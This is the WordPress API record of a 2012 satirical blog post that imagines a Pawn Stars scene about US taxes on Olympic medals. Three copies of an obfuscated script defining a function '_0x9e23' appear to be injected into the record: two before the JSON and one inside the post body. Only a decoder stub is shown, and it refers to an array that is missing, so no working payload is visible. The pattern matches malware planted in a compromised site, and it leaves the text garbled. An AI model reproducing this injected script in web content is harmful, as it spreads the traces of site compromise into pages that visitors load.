<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":2044,"date":"2012-08-01T15:32:48","date_gmt":"2012-08-01T22:32:48","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=2044"},"modified":"2012-08-01T15:32:48","modified_gmt":"2012-08-01T22:32:48","slug":"olympian-taxes","status":"publish","type":"post","link":"https:\/\/www.jsharf.com\/view\/?p=2044","title":{"rendered":"Olympian Taxes"},"content":{"rendered":"<p>On this (imaginary) episode of\u00a0<em><a href=\"http:\/\/www.history.com\/shows\/pawn-stars\" target=\"_blank\">Pawn Stars<\/a><\/em>:<\/p>\n<blockquote><p>Customer outside of store: My name&#8217;s Michael, and I&#8217;m here at the Pawn Shop to sell my Olympic bronze medal. I&#8217;m hoping to get enough to pay the\u00a0<a href=\"http:\/\/www.chicagotribune.com\/news\/wjw-michael-phelps-backed-taxes-txt,0,4321246.story\" target=\"_blank\">back taxes<\/a>\u00a0on the 15 gold medals that I won, and maybe have a little left over to have some fun at the tables before I go home.<\/p>\n<p>Rick (to camera, in warehouse): I&#8217;m really excited to see this come in here. \u00a0Olympic medals don&#8217;t just walk into the store all the time. \u00a0I mean, this is a piece of history, and Olympic memorabilia is\u00a0<em>highly<\/em>\u00a0collectible. \u00a0But I don&#8217;t care how good it&#8217;ll look sitting in my store, it has to be for the right price.<\/p>\n<p>Rick (back at counter, to Michael): The US is one of the only countries to\u00a0<a href=\"http:\/\/www.mediaite.com\/tv\/americas-olympic-winners-must-pay-irs-nearly-9000-for-every-gold-medal\/\" target=\"_blank\">assess a prize tax<\/a>\u00a0on its athletes who win Olympic medals. \u00a0Sen. Marco Rubio of Florida is supposedly\u00a0<a href=\"http:\/\/www.washingtontimes.com\/news\/2012\/aug\/1\/rubio-bill-eliminates-federal-tax-olympic-medals\/\" target=\"_blank\">introducing a bill that&#8217;ll change that<\/a>, but right now, winners have to pay about $9000 per medal. \u00a0Although there&#8217;s no truth to the rumor that the tax was instituted because it was a windfall, since, &#8220;they didn&#8217;t really win&#8221; the medals.<\/p>\n<p>Chumlee: Yeah, isn&#8217;t that the real reason that the &#8217;72 US basketball team didn&#8217;t pick up their silver medals? \u00a0They&#8217;re all amateurs, and they couldn&#8217;t afford the taxes.<\/p>\n<p>Rick: Shut up, Chum.<\/p><\/blockquote>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On this (imaginary) episode of\u00a0Pawn Stars: Customer outside of store: My name&#8217;s Michael, and I&#8217;m here at the Pawn Shop to sell my Olympic bronze medal. I&#8217;m hoping to get enough to pay the\u00a0back taxes\u00a0on the 15 gold medals that I won, and maybe have a little left over to have some fun at the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[51,34],"tags":[],"_links":{"self":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/2044"}],"collection":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2044"}],"version-history":[{"count":2,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/2044\/revisions"}],"predecessor-version":[{"id":2046,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/2044\/revisions\/2046"}],"wp:attachment":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2044"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2044"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2044"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}